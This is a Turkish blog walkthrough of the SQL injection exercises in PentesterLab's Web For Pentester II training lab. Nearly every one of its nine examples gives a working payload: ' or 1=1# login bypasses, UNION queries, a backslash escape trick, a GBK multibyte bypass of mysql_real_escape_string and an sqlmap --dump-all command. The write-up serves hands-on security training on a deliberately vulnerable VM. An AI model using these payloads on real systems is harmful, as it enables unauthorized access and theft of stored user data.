Walkthrough

[TR] Web For Pentester II – SQL Injections

Reklam

[TR] Web For Pentester II – SQL Injections

Merhaba arkadaşlar, PentesterLab’ın hazırlamış olduğu Web For Pentester II SQL Injections ile yeni serimize başlıyoruz.

Bu serimizde SQL Injections, Authentication, Captcha, Authorization, Mass Assigment, Randomness Issues ve MongoDB Injection örneklerini inceleyeceğiz.

Serimize SQL Injections örnekleri ile başlıyoruz. Bunun için Web For Pentester II İSO’sunu aşağıdaki linkten indirebilir ve VM sanal makinenizde kurulumunu yapabilirsiniz. İyi eğlenceler.

https://www.pentesterlab.com/exercises/web_for_pentester_II/attachments

örnekler
örnekler

1.Örnek

1. Örnek
1. Örnek

İlk örneğimize baktığımızda basit bir bypass işlemi bizi bekliyor gibi duruyor. Basit bir SQL kodu deneyelim. Bunun için ‘1 = kullanalım.

'1
‘1

Yukarıdaki hatadan, arka planda SELECT * FROM users WHERE username=’USERNAME’ AND password=’PASSWORD’  çalıştırılacağını biliyoruz.

Bunun için ‘ or 1=1# komutunu kullanalım.

' or 1=1#
‘ or 1=1#

2.Örnek

2. Örnek
2. Örnek

İkinci örneğimiz bir öncekiyle aynı güvenlik açığına sahiptir fakat burada dikkat etmemiz gereken konu ise geri döndürülen veri kısıtlanmış. Bundan yararlanmamız için LIMIT kullanmamız gerekiyor.

SQL kodumuz ise şu şekilde,   ‘ or 1=1 LIMIT 1#

' or 1=1 LIMIT 1#
‘ or 1=1 LIMIT 1#

3.Örnek

3. Örnek
3. Örnek

Burada kodumuzun başında kullandığımız  ifadesi filtreleniyor. Bundan kaçmak için \ ifadesini kullanabiliriz. Username kısmına PwnlabMe\ ve Password kısmına ise or 1=1# kodumuzu yazıyoruz.

PwnlabMe
PwnlabMe\

4.Örnek

4. Örnek
4. Örnek

Burada, URL’de sorgunun sunucuya aktarıldığını görüyoruz. Bundan yararlanmak için, URL kısmına bir önceki kodumuzu yazabiliriz. or 1=1#

' or 1=1#
‘ or 1=1#

5.Örnek

5. Örnek
5. Örnek

Bu örneğimiz, Union Based SQL Injection’dır. Bu, sayfanın sınırlı sayıda bilgi aldığı anlamına gelir. Yani web sayfası tüm kayıtları alan bir sorgu gönderiyor ancak web sayfası sonuçları gösterirken kısıtlıyor.

Burada kullanacağımız kod şu şekilde,  union all select * from users

union all select * from users
union all select * from users

6.Örnek

6. Örnek
6. Örnek

Bu bir önceki örneğimizle çok benzer. Bunu iki şekilde yapabiliriz; ilki bir önceki örnekte kullandığımız ile aynı olan union all select * from users kullanabiliriz, ikincisi ise URL’deki  group’u silebiliriz.

İlk olarak union all select * from users kullanalım.

union all select * from users
union all select * from users

İkincisi için ise group’u silelim.

group
group

7.Örnek

7. Örnek
7. Örnek

Burada id içerdiğini görüyoruz ve bu tarz karşılaşmalar farklı şekillerde sömürülebilir. İlk olarak SQLMAP, bu program ile istediğimizi elde edebiliriz. Bunu Kali terminalinde şu şekilde kullanabilir;

sqlmap –u http:// Ip Adresi/example7/?id=1 –dump-all      
Başka bir yöntem ise id kısmını silerek tüm kullanıcıları görebiliriz.

id
id

8.Örnek

8. Örnek
8. Örnek

Öncelikle sömürmek için standart bir kullanıcı oluşturalım. Bunun için or 1=1 # kullanalım.

' or 1=1 #
‘ or 1=1 #

Şimdi ise sadece oluşturduğumuz kaydın numarasına tıklıyoruz.

User
User

Veri tabanında farklı sorgu çalıştırmak ve kullanıcı bilgileri elde etmek için, farklı kullanıcılar oluşturabilirsiniz.

9.Örnek

9. Örnek
9. Örnek

Burada, mysql-real-escape-string adı verilen bir form filtreleme işlemi kullanılmaktadır. Belirli bir alanda kaçış karakterlerini kaldıran ve saldırganların form alanlarına kod enjekte etmesini engelleyen bir PHP işlevidir.

Veri tabanı ve bağlantı kurulumu aynı karakter kümesini kullanmıyorsa, bu işlevin bir kusuru vardır.

Bu durumda, bağlantı GBK’dan bir karakter kümesi eklemenize izin veriyor ise (GBK, basitleştirilmiş Çince için bir karakter kümesidir), işlev geçerli oldukları için eklenen karakterlerden kaçmaz.

Bunun için kullanmamız gerek kod şu şekilde olacaktır, 呵’ or 1=1 #

呵' or 1=1 #
呵’ or 1=1 #

Submit Query dediğimizde kodumuzun çalıştığını görüyoruz.

Submit Query
Submit Query

Web For Pentester II deki SQL Injections örneklerini bitirmiş bulunuyoruz. Bu serimizin devamında diğer örnekleri inceleyip sizlerle paylaşıyor olacağız.

Reklam
Reklam

İlgili Makaleler

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu